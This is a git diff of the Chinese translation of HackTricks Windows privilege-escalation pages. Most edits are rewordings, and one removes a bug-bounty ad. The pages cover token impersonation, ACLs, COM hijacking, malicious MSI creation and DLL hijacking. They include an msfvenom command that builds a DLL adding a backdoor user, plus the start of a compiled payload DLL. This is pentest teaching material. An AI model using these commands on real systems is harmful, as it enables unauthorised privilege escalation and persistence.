 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
 [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞（已弃用，改为 Watson）\
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞（已弃用，替换为 Watson）\
 [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要管理员权限)**
 
 **Exe**
 
 [**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞（需要使用 VisualStudio 编译） ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
 [**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置（更多是收集信息工具而非 privesc）（需要编译） **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
-[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据（GitHub 上的预编译 exe）**\
+[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据（在 github 上有预编译 exe）**\
 [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（GitHub 上的可执行文件预编译）。不推荐。它在 Win10 上效果不好。\
-[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 Python 的 exe）。不推荐。它在 Win10 上效果不好。
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 上效果不佳。\
+[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 上效果不佳。
 
 **Bat**
 
@@ -1395,8 +1395,8 @@ sc start newservicename
 
 **Local**
 
-[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐有效的漏洞（本地 Python）\
-[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐有效的漏洞（本地 Python）
+[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐有效的漏洞（本地 python）\
+[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐有效的漏洞（本地 python）
 
 **Meterpreter**
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
index 9f7a8529f..41bacd80c 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md
@@ -56,16 +56,16 @@ SeTimeZonePrivilege           Change the time zone                 Disabled
 
 ### 本地管理员
 
-当本地管理员登录时，**会创建两个访问令牌**：一个具有管理员权限，另一个具有普通权限。**默认情况下**，当该用户执行进程时，使用的是具有**常规**（非管理员）**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作（例如“以管理员身份运行”）时，**UAC** 将被用来请求权限。\
+当本地管理员登录时，**会创建两个访问令牌**：一个具有管理员权限，另一个具有普通权限。**默认情况下**，当该用户执行进程时，将使用具有**常规**（非管理员）**权限的令牌**。当该用户尝试**以管理员身份执行**任何操作（例如“以管理员身份运行”）时，**UAC** 将被用来请求权限。\
 如果您想要[**了解更多关于 UAC 的信息，请阅读此页面**](../authentication-credentials-uac-and-efs/#uac)**。**
 
-### 凭据用户冒充
+### 凭据用户 impersonation
 
 如果您拥有**任何其他用户的有效凭据**，您可以**使用这些凭据创建**一个**新的登录会话**：
 ```
 runas /user:domain\username cmd.exe
 ```
-**访问令牌**还包含**LSASS**内部登录会话的**引用**，这在进程需要访问网络的一些对象时非常有用。\
+**访问令牌**还包含**LSASS**中的登录会话的**引用**，这在进程需要访问网络的某些对象时非常有用。\
 您可以使用以下方法启动一个**使用不同凭据访问网络服务**的进程：
 ```
 runas /user:domain\username /netonly cmd.exe
@@ -76,12 +76,12 @@ runas /user:domain\username /netonly cmd.exe
 
 可用的令牌有两种类型：
 
-- **Primary Token**：它作为进程安全凭据的表示。创建和将主令牌与进程关联的操作需要提升的权限，强调了权限分离的原则。通常，身份验证服务负责令牌的创建，而登录服务则处理其与用户操作系统外壳的关联。值得注意的是，进程在创建时会继承其父进程的主令牌。
+- **Primary Token**：它作为进程安全凭据的表示。创建和将主令牌与进程关联的操作需要提升的权限，强调了权限分离的原则。通常，身份验证服务负责令牌的创建，而登录服务处理其与用户操作系统外壳的关联。值得注意的是，进程在创建时会继承其父进程的主令牌。
 - **Impersonation Token**：使服务器应用程序能够暂时采用客户端的身份以访问安全对象。该机制分为四个操作级别：
   - **Anonymous**：授予服务器与未识别用户相似的访问权限。
   - **Identification**：允许服务器验证客户端的身份，而不利用其进行对象访问。
   - **Impersonation**：使服务器能够在客户端身份下操作。
-  - **Delegation**：类似于Impersonation，但包括将此身份假设扩展到服务器交互的远程系统的能力，以确保凭据的保留。
+  - **Delegation**：类似于Impersonation，但包括将这种身份假设扩展到服务器交互的远程系统的能力，以确保凭据的保留。
 
 #### 模拟令牌
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
index 9bb904907..a742cd15f 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md
@@ -16,7 +16,7 @@ ACL 有两种类型：
 ### **关键组件**
 
 - **DACL：** 包含授予或拒绝用户和组对对象的访问权限的 ACE。它本质上是决定访问权限的主要 ACL。
-- **SACL：** 用于审计对对象的访问，其中 ACE 定义了在安全事件日志中记录的访问类型。这对于检测未经授权的访问尝试或排除访问问题非常重要。
+- **SACL：** 用于审计对对象的访问，其中 ACE 定义了在安全事件日志中记录的访问类型。这对于检测未经授权的访问尝试或排除访问问题非常有价值。
 
 ### **系统与 ACL 的交互**
 
@@ -55,11 +55,11 @@ ACL 有两种类型：
 
 **ACEs**（规定谁可以或不能访问某物的规则）在称为 **DACL** 的列表中的排列方式非常重要。这是因为一旦系统根据这些规则授予或拒绝访问，它就停止查看其余的规则。
 
-有一种最佳的组织这些 ACE 的方式，称为 **“规范顺序。”** 这种方法有助于确保一切顺利和公平地工作。对于像 **Windows 2000** 和 **Windows Server 2003** 这样的系统，其顺序如下：
+有一种最佳的组织这些 ACE 的方式，称为 **“规范顺序。”** 这种方法有助于确保一切顺利和公平。对于像 **Windows 2000** 和 **Windows Server 2003** 这样的系统，其顺序如下：
 
 - 首先，将所有 **专门为此项** 制定的规则放在来自其他地方（如父文件夹）的规则之前。
-- 在这些特定规则中，将 **“不允许”（deny）** 的规则放在 **“允许”（allow）** 的规则之前。
-- 对于来自其他地方的规则，从 **最近的来源** 开始，例如父项，然后向后排列。同样，将 **“不允许”** 的规则放在 **“允许”** 的规则之前。
+- 在这些特定规则中，将 **“不允许”（拒绝）** 的规则放在 **“允许”（允许）** 的规则之前。
+- 对于来自其他地方的规则，从 **最近的来源** 开始，例如父级，然后向后排列。同样，将 **“不允许”** 的规则放在 **“允许”** 的规则之前。
 
 这种设置在两个方面有很大帮助：
 
@@ -102,14 +102,14 @@ ACL 有两种类型：
 
 #### 允许被拒绝组的特定成员访问
 
-假设市场总监 Bob 需要访问 Cost 文件夹，即使市场团队通常不应该有访问权限。我们可以为 Bob 添加一个特定的规则 (ACE)，授予他访问权限，并将其放在拒绝市场团队访问的规则之前。这样，尽管对他的团队有一般限制，Bob 仍然可以访问。
+假设市场总监 Bob 需要访问 Cost 文件夹，尽管市场团队通常不应该有访问权限。我们可以为 Bob 添加一个特定规则 (ACE)，授予他访问权限，并将其放在拒绝市场团队访问的规则之前。这样，尽管对他的团队有一般限制，Bob 仍然可以访问。
 
 #### 理解访问控制条目
 
 ACE 是 ACL 中的单个规则。它们识别用户或组，指定允许或拒绝的访问，并确定这些规则如何适用于子项（继承）。ACE 主要有两种类型：
 
 - **通用 ACE：** 这些规则广泛适用，影响所有类型的对象，或仅区分容器（如文件夹）和非容器（如文件）。例如，允许用户查看文件夹内容但不允许访问其中的文件的规则。
-- **对象特定 ACE：** 这些提供更精确的控制，允许为特定类型的对象或对象内的特定属性设置规则。例如，在用户目录中，规则可能允许用户更新其电话号码，但不允许更新其登录时间。
+- **对象特定 ACE：** 这些提供更精确的控制，允许为特定类型的对象或对象内的单个属性设置规则。例如，在用户目录中，规则可能允许用户更新其电话号码，但不允许更新其登录时间。
 
 每个 ACE 包含重要信息，例如规则适用的对象（使用安全标识符或 SID）、规则允许或拒绝的内容（使用访问掩码）以及如何被其他对象继承。
 
@@ -127,12 +127,12 @@ ACE 是 ACL 中的单个规则。它们识别用户或组，指定允许或拒
 | 类型        | 表示 ACE 类型的标志。Windows 2000 和 Windows Server 2003 支持六种类型的 ACE：三种通用 ACE 类型，附加到所有可安全对象。三种对象特定 ACE 类型，可以出现在 Active Directory 对象中。                                                                                                                                                                                                                                                                                                                            |
 | 标志       | 控制继承和审计的一组位标志。                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
 | 大小        | 为 ACE 分配的内存字节数。                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
-| 访问掩码 | 32 位值，其位对应于对象的访问权限。位可以设置为开启或关闭，但设置的含义取决于 ACE 类型。例如，如果对应于读取权限的位被打开，并且 ACE 类型为拒绝，则 ACE 拒绝读取对象的权限。如果同一位被设置为开启，但 ACE 类型为允许，则 ACE 授予读取对象权限的权利。访问掩码的更多详细信息出现在下一个表中。 |
-| SID         | 标识由此 ACE 控制或监控访问的用户或组。                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| 访问掩码 | 32 位值，其位对应于对象的访问权限。位可以设置为开启或关闭，但设置的含义取决于 ACE 类型。例如，如果对应于读取权限的位被打开，并且 ACE 类型为拒绝，则 ACE 拒绝读取对象的权限。如果相同的位被设置为开启，但 ACE 类型为允许，则 ACE 授予读取对象权限的权利。访问掩码的更多详细信息出现在下一个表中。 |
+| SID         | 标识由此 ACE 控制或监视访问的用户或组。                                                                                                                                                                                                                                                                                                                                                                                                                                 |
 
 ### 访问掩码布局
 
-| 位（范围） | 意义                            | 描述/示例                       |
+| 位（范围） | 含义                            | 描述/示例                       |
 | ----------- | ---------------------------------- | ----------------------------------------- |
 | 0 - 15      | 对象特定访问权限      | 读取数据、执行、附加数据           |
 | 16 - 22     | 标准访问权限             | 删除、写入 ACL、写入所有者            |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
index 2b380c72d..407382dfe 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md
@@ -17,9 +17,9 @@
 
 尽管存在这些限制，但通过利用 **RpcEptMapper** 服务的注册表结构中的 **Performance** 子项，识别出潜在的权限提升机会，该子项默认情况下不存在。这可能使 DLL 注册和性能监控成为可能。
 
-查阅了关于 **Performance** 子项及其在性能监控中的使用的文档，开发了一个概念验证 DLL。该 DLL 演示了 **OpenPerfData**、**CollectPerfData** 和 **ClosePerfData** 函数的实现，通过 **rundll32** 测试，确认其操作成功。
+查阅了有关 **Performance** 子项及其在性能监控中使用的文档，开发了一个概念验证 DLL。该 DLL 演示了 **OpenPerfData**、**CollectPerfData** 和 **ClosePerfData** 函数的实现，通过 **rundll32** 测试，确认其操作成功。
 
-目标是强制 **RPC Endpoint Mapper service** 加载精心制作的 Performance DLL。观察发现，通过 PowerShell 执行与性能数据相关的 WMI 类查询会导致创建日志文件，从而在 **LOCAL SYSTEM** 上下文中执行任意代码，从而授予提升的权限。
+目标是强迫 **RPC Endpoint Mapper service** 加载精心制作的 Performance DLL。观察发现，通过 PowerShell 执行与性能数据相关的 WMI 类查询会生成一个日志文件，从而使得在 **LOCAL SYSTEM** 上下文中执行任意代码成为可能，从而授予提升的权限。
 
 强调了该漏洞的持久性和潜在影响，突显其在后期利用策略、横向移动和规避 antivirus/EDR 系统中的相关性。
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
index 86ed28a73..9ba46cab3 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@@ -51,7 +51,7 @@ Write-Host
 
 检查输出后，您可以选择一个将在 **每次用户登录时** 执行的任务，例如。
 
-现在在 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**，通常会发现该值在 HKCU 中不存在。
+现在在 **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** 和 HKLM 及 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**，通常会发现该值在 HKCU 中不存在。
 ```bash
 # Exists in HKCR\CLSID\
 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
diff --git a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
index 200d2a6de..6369d221b 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md
@@ -4,7 +4,7 @@
 
 MSI 安装程序的创建将使用 wixtools，具体来说，将利用 [wixtools](http://wixtoolset.org)。值得一提的是，尝试了其他 MSI 构建工具，但在这个特定案例中并未成功。
 
-为了全面了解 wix MSI 的使用示例，建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里，您可以找到各种示例，演示 wix MSI 的用法。
+为了全面理解 wix MSI 的使用示例，建议查阅 [此页面](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)。在这里，您可以找到各种示例，演示 wix MSI 的用法。
 
 目标是生成一个将执行 lnk 文件的 MSI。为了实现这一点，可以使用以下 XML 代码（[xml 来自这里](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)）：
 ```markup
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
index 4b604ca57..b7d6b3981 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
@@ -6,7 +6,7 @@
 
 ## 基本信息
 
-DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术，如 **DLL 欺骗、注入和旁加载**。它主要用于代码执行、实现持久性，以及较少见的特权升级。尽管这里重点关注升级，但劫持的方法在不同目标之间保持一致。
+DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术，如 **DLL 欺骗、注入和旁加载**。它主要用于代码执行、实现持久性，以及较少见的特权提升。尽管这里重点关注提升，但劫持的方法在不同目标之间保持一致。
 
 ### 常见技术
 
@@ -36,13 +36,13 @@ DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵
 
 ## 利用缺失的 DLL
 
-为了提升特权，我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**，在 **将要搜索的某个位置**。因此，我们将能够 **在一个文件夹中编写** DLL，该文件夹 **在搜索 DLL 之前**，或者我们将能够 **在某个文件夹中编写**，该文件夹 **将要搜索 DLL**，而原始 **DLL 在任何文件夹中都不存在**。
+为了提升特权，我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**，在 **将要搜索的某个位置**。因此，我们将能够在 **搜索 DLL 的文件夹之前** 的 **文件夹** 中 **编写** 一个 DLL（奇怪的情况），或者我们将能够在 **将要搜索 DLL 的某个文件夹** 中 **编写**，而原始 **DLL 在任何文件夹中都不存在**。
 
 ### DLL 搜索顺序
 
 **在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中，您可以找到 DLL 的具体加载方式。**
 
-**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL，遵循特定的顺序。DLL 劫持的问题出现在有害 DLL 被战略性地放置在这些目录之一中，确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
+**Windows 应用程序** 通过遵循一组 **预定义的搜索路径** 来查找 DLL，遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时，DLL 劫持的问题就出现了，确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
 
 您可以在 32 位系统上看到 **DLL 搜索顺序**：
 
@@ -65,7 +65,7 @@ DLL 劫持涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵
 
 Windows 文档中指出了标准 DLL 搜索顺序的某些例外：
 
-- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时，系统会绕过通常的搜索。相反，它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下，系统不会进行 DLL 搜索**。
+- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时，系统会绕过通常的搜索。相反，它会在默认使用内存中已加载的 DLL 之前检查重定向和清单。**在这种情况下，系统不会对 DLL 进行搜索**。
 - 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下，系统将使用其版本的已知 DLL 及其任何依赖 DLL，**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
 - 如果 **DLL 有依赖项**，则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行，而不管初始 DLL 是否通过完整路径识别。
 
@@ -73,10 +73,10 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外：
 
 **要求**：
 
-- 确定一个在 **不同特权** 下运行或将要运行的进程（水平或侧向移动），该进程 **缺少 DLL**。
-- 确保在 **DLL** 将被 **搜索的任何目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
+- 确定一个在 **不同特权** 下运行或将要运行的进程（水平或横向移动），该进程 **缺少 DLL**。
+- 确保在 **搜索 DLL** 的任何 **目录** 中有 **写入访问权限**。此位置可能是可执行文件的目录或系统路径中的目录。
 
-是的，要求很难找到，因为 **默认情况下，找到缺少 DLL 的特权可执行文件有点奇怪**，而且在系统路径文件夹中拥有写入权限 **更奇怪**（默认情况下您无法做到）。但是，在配置错误的环境中，这是可能的。\
+是的，要求很难找到，因为 **默认情况下，找不到缺少 DLL 的特权可执行文件是有点奇怪的**，而且在系统路径文件夹中 **拥有写入权限** 更是 **奇怪**（默认情况下您无法做到）。但是，在配置错误的环境中，这是可能的。\
 如果您运气好，满足要求，可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即使该项目的 **主要目标是绕过 UAC**，您也可能会在那里找到一个适用于您可以使用的 Windows 版本的 **DLL 劫持 PoC**（可能只需更改您有写入权限的文件夹的路径）。
 
 请注意，您可以通过以下方式 **检查文件夹中的权限**：
@@ -106,7 +106,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
 
 ### 示例
 
-如果您发现一个可利用的场景，成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何，请注意，Dll劫持在[**从中等完整性级别提升到高完整性（绕过UAC）**](../authentication-credentials-uac-and-efs.md#uac)或[**从高完整性提升到SYSTEM**](./#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll的示例：[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
+如果您发现一个可利用的场景，成功利用它的最重要的事情之一是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何，请注意，Dll劫持在[**从中等完整性级别提升到高完整性（绕过UAC）**](../authentication-credentials-uac-and-efs.md#uac)或从[**高完整性提升到SYSTEM**](./#from-high-integrity-to-system)**时非常有用。**您可以在这个专注于执行的dll劫持研究中找到**如何创建有效dll**的示例：[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
 此外，在**下一节**中，您可以找到一些**基本dll代码**，这些代码可能作为**模板**或用于创建**导出非必需函数的dll**。
 
 ## **创建和编译Dll**
@@ -115,7 +115,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
 
 基本上，**Dll代理**是一个能够**在加载时执行您的恶意代码**的Dll，同时也能**暴露**并**按预期工作**，通过**将所有调用转发到真实库**。
 
-使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus)，您可以**指定一个可执行文件并选择要代理的库**，并**生成一个代理dll**，或**指定Dll并生成一个代理dll**。
+使用工具[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)或[**Spartacus**](https://github.com/Accenture/Spartacus)，您可以实际**指定一个可执行文件并选择要代理的库**，并**生成一个代理dll**，或**指定Dll并生成一个代理dll**。
 
 ### **Meterpreter**
 
@@ -133,7 +133,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
 ```
 ### 你自己的
 
-注意，在多个情况下，您编译的 Dll 必须 **导出多个函数**，这些函数将被受害者进程加载，如果这些函数不存在，**二进制文件将无法加载**它们，**攻击将失败**。
+请注意，在多个情况下，您编译的 Dll 必须 **导出多个函数**，这些函数将被受害者进程加载，如果这些函数不存在，**二进制文件将无法加载**它们，**攻击将失败**。
 ```c
 // Tested in Win10
 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
index 7e1c34ad8..e628a03fc 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
@@ -2,15 +2,9 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
-
-**Bug bounty tip**: **注册** **Intigriti**，这是一个由黑客为黑客创建的高级**漏洞赏金平台**！今天就加入我们，访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)，开始赚取高达 **$100,000** 的赏金！
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
 ## Basic Information
 
-DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术，如 **DLL Spoofing、Injection 和 Side-Loading**。它主要用于代码执行、实现持久性，以及较少见的权限提升。尽管这里的重点是提升，但劫持的方法在不同目标之间保持一致。
+DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术语涵盖了几种战术，如 **DLL Spoofing, Injection, 和 Side-Loading**。它主要用于代码执行、实现持久性，以及较少见的权限提升。尽管这里重点关注提升，但劫持的方法在不同目标间保持一致。
 
 ### Common Techniques
 
@@ -35,33 +29,33 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
 
 ![](<../../../images/image (153).png>)
 
-如果您在寻找 **缺失的 dll**，可以 **让它运行几秒钟**。\
-如果您在寻找 **特定可执行文件中的缺失 dll**，则应设置 **另一个过滤器，如 "Process Name" "contains" "\<exec name>"，执行它，然后停止捕获事件**。
+如果您在寻找 **缺失的 DLL**，可以 **让它运行几秒钟**。\
+如果您在寻找 **特定可执行文件中的缺失 DLL**，则应设置 **另一个过滤器，如 "Process Name" "contains" "\<exec name>"，执行它，然后停止捕获事件**。
 
 ## Exploiting Missing Dlls
 
-为了提升权限，我们最好的机会是能够 **编写一个特权进程将尝试加载的 dll**，在 **将要搜索的某个位置**。因此，我们将能够在 **dll 被搜索的文件夹中写入**一个 dll，而这个文件夹在 **原始 dll** 的文件夹之前（奇怪的情况），或者我们将能够在 **将要搜索的某个文件夹中写入**，而原始 **dll** 在任何文件夹中都不存在。
+为了提升权限，我们最好的机会是能够 **编写一个特权进程将尝试加载的 DLL**，在 **将要搜索的某个位置**。因此，我们将能够 **在一个文件夹中编写** DLL，该文件夹 **在搜索 DLL 之前**，或者我们将能够 **在某个文件夹中编写**，该文件夹 **将要搜索 DLL**，而原始 **DLL 在任何文件夹中都不存在**。
 
 ### Dll Search Order
 
 **在** [**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中，您可以找到 DLL 的具体加载方式。**
 
-**Windows 应用程序**通过遵循一组 **预定义的搜索路径** 来查找 DLL，遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时，DLL 劫持的问题就出现了，确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
+**Windows 应用程序** 按照一组 **预定义的搜索路径** 查找 DLL，遵循特定的顺序。当有害 DLL 被战略性地放置在这些目录之一时，DLL 劫持的问题就会出现，确保它在真实 DLL 之前被加载。防止这种情况的解决方案是确保应用程序在引用所需 DLL 时使用绝对路径。
 
-您可以在 32 位系统上看到 **DLL 搜索顺序**如下：
+您可以在 32 位系统上看到 **DLL 搜索顺序**：
 
 1. 应用程序加载的目录。
 2. 系统目录。使用 [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) 函数获取该目录的路径。(_C:\Windows\System32_)
 3. 16 位系统目录。没有函数获取该目录的路径，但会进行搜索。 (_C:\Windows\System_)
 4. Windows 目录。使用 [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) 函数获取该目录的路径。(_C:\Windows_)
 5. 当前目录。
-6. 在 PATH 环境变量中列出的目录。请注意，这不包括 **App Paths** 注册表项指定的每个应用程序路径。计算 DLL 搜索路径时不使用 **App Paths** 键。
+6. 在 PATH 环境变量中列出的目录。请注意，这不包括由 **App Paths** 注册表项指定的每个应用程序路径。在计算 DLL 搜索路径时不使用 **App Paths** 键。
 
-这是 **默认** 搜索顺序，启用 **SafeDllSearchMode**。当禁用时，当前目录提升到第二位。要禁用此功能，请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0（默认启用）。
+这是 **启用 SafeDllSearchMode** 的 **默认** 搜索顺序。当禁用时，当前目录提升到第二位。要禁用此功能，请创建 **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** 注册表值并将其设置为 0（默认启用）。
 
 如果调用 [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) 函数时使用 **LOAD_WITH_ALTERED_SEARCH_PATH**，搜索将从 **LoadLibraryEx** 正在加载的可执行模块的目录开始。
 
-最后，请注意 **dll 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下，该 dll **只会在该路径中被搜索**（如果 dll 有任何依赖项，它们将被作为仅通过名称加载进行搜索）。
+最后，请注意 **DLL 可以通过指示绝对路径而不是仅仅是名称来加载**。在这种情况下，该 DLL **只会在该路径中被搜索**（如果 DLL 有任何依赖项，它们将被视为仅按名称加载进行搜索）。
 
 还有其他方法可以更改搜索顺序，但我在这里不打算解释它们。
 
@@ -69,7 +63,7 @@ DLL Hijacking 涉及操纵受信任的应用程序加载恶意 DLL。这个术
 
 Windows 文档中指出了标准 DLL 搜索顺序的某些例外：
 
-- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时，系统会绕过通常的搜索。相反，它会在默认使用内存中已加载的 DLL 之前执行重定向和清单检查。**在这种情况下，系统不会进行 DLL 搜索**。
+- 当遇到 **与内存中已加载的 DLL 同名的 DLL** 时，系统会绕过通常的搜索。相反，它会在默认使用内存中已加载的 DLL 之前进行重定向和清单检查。**在这种情况下，系统不会进行 DLL 搜索**。
 - 在 DLL 被识别为当前 Windows 版本的 **已知 DLL** 的情况下，系统将使用其版本的已知 DLL 及其任何依赖 DLL，**跳过搜索过程**。注册表项 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存这些已知 DLL 的列表。
 - 如果 **DLL 有依赖项**，则对这些依赖 DLL 的搜索将像仅通过其 **模块名称** 指示一样进行，而不管初始 DLL 是否通过完整路径识别。
 
@@ -80,8 +74,8 @@ Windows 文档中指出了标准 DLL 搜索顺序的某些例外：
 - 确定一个在 **不同权限** 下运行或将要运行的进程（水平或横向移动），该进程 **缺少 DLL**。
